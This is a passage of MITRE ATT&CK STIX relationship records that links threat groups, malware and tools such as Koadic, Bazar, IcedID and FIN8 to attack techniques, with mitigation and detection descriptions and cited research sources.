policies.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f32e0356-d326-4dd7-9c5f-4c1c304d8862","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.847Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can use Rundll32 to execute additional payloads.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3305dbd-78e6-4941-aebf-9abb78385f2d","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f33725f4-cce5-4868-b494-d73419c76bdf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2021-04-27T19:53:20.412Z","description":"[DustySky](https://attack.mitre.org/software/S0062) collects information about running processes from victims.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f33b1a88-1c1c-4ea4-a1b3-f1198012e728","type":"relationship","created":"2019-09-13T16:48:01.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.","url":"https://securelist.com/el-machete/66108/","source_name":"Securelist Machete Aug 2014"},{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-09-13T16:48:01.331Z","description":"(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f34e5f17-c0ac-4f1b-b45b-e6076e69721a","type":"relationship","created":"2020-12-17T19:47:24.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-28T15:33:58.586Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has registered malicious domains for use in intrusion campaigns.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f34e6a88-bb49-47cc-b0bc-1d2abb63aa56","created":"2024-05-17T13:55:05.962Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:55:05.962Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) variants can be delivered via highly obfuscated Windows Script Files (WSF) for initial execution.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f35a3ca7-b916-4bc2-a493-613196b5d41e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.189Z","description":"[APT19](https://attack.mitre.org/groups/G0073) launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f35c994e-80a6-414a-ab81-1a2eb5fd0829","type":"relationship","created":"2021-12-06T16:01:16.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.799Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f35fa774-0344-4678-b104-a0dd1003197a","created":"2024-02-07T19:45:36.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:33:58.705Z","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) can hide malicious code in the padding regions between legitimate functions in the Pulse Secure `libdsplibs.so` file.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f36141b8-5dd8-462d-bfc3-b43e179e955c","type":"relationship","created":"2020-02-21T20:32:21.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T21:27:48.384Z","description":"Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with security services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f365854f-76e6-4746-bab8-2f2b94b50087","type":"relationship","created":"2019-06-20T15:39:37.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T18:13:18.680Z","description":"Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f367b2fc-ea76-4fd4-9b90-049d95b4bc08","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2019-07-11T13:53:06.092Z","description":"(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f368f221-bcd5-400d-b350-83173de26423","type":"relationship","created":"2019-05-02T00:08:18.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:21.895Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has checked the current date on the victim system.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f36a77f2-dfab-4636-a796-67e6416031ef","created":"2023-09-06T15:35:41.465Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:35:41.465Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has deployed ransomware such as [Ragnar Locker](https://attack.mitre.org/software/S0481), White Rabbit, and attempted to execute Noberus on compromised networks.(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f36a8899-940f-4c8f-924d-eef2f056744d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Dsquery","description":"Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc732952.aspx"},{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-19T16:12:00.967Z","description":"[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on permission groups within a domain.(Citation: TechNet Dsquery)(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f36f0a5d-a2a6-440f-8d6f-3fbdafb07af0","created":"2020-07-15T19:06:50.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:24:19.223Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has the ability to identify the computer name and OS version on a compromised host.(Citation: IBM IcedID November 2017)(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f372cb23-0736-4cbb-8ba0-3388599226f9","created":"2023-02-23T22:54:25.777Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:54:25.777Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can collect .NET, PowerShell, and Python information from an infected host.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f373c8d3-3182-4977-b333-87493458d340","type":"relationship","created":"2020-11-18T20:26:08.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T13:53:46.044Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can create or add files to Registry Run Keys to establish persistence.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f376ba97-3fe5-4c51-aa2c-0c1e35fcfcda","created":"2023-09-22T19:23:11.194Z","revoked":false,"external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:23:11.194Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has disguised it's true file structure as an application bundle by adding special characters to the filename and using the icon for legitimate Word documents.(Citation: Trend Micro MacOS Backdoor November 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f37a0b65-043e-45f9-9e70-06ad9d75e856","created":"2023-03-26T19:23:21.601Z","revoked":false,"external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:23:21.601Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) stores configuration values under the Registry key HKCU\\Software\\Microsoft\\[dllname].(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f38960c1-2f2a-42d4-96f0-661d91062af3","created":"2023-07-10T20:33:45.895Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-10T20:33:45.895Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) installed the open-source rsocx reverse proxy tool on a targeted ESXi appliance.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f38ae08a-0d59-41e9-a4ca-891a04297299","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}],"modified":"2020-03-17T14:48:44.029Z","description":"[PUNCHTRACK](https://attack.mitre.org/software/S0197) aggregates collected data in a tmp file.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f38fa132-2485-45aa-ad86-4608595adb65","created":"2022-07-25T17:38:35.171Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) can establish persistence with the auto start function including using the value `EverNoteTrayUService`.(Citation: SentinelOne Aoqin Dragon June 2022)\n","modified":"2022-07-25T17:38:35.171Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f38fe70e-e940-4884-91e4-d06363f248d3","created":"2024-08-26T18:26:27.697Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:26:27.697Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has deployed ransomware in victim environments.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39246a9-9a31-4bca-b04d-48dfc77a0ef7","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor newly constructed files to/from a lateral tool transfer ","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3927864-d7dd-4bf3-8b2a-2a5445eb4004","type":"relationship","created":"2020-04-28T12:47:25.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.822Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named Browdec.exe to steal browser credentials.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39446a9-07d1-456a-b48b-241aab979e55","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 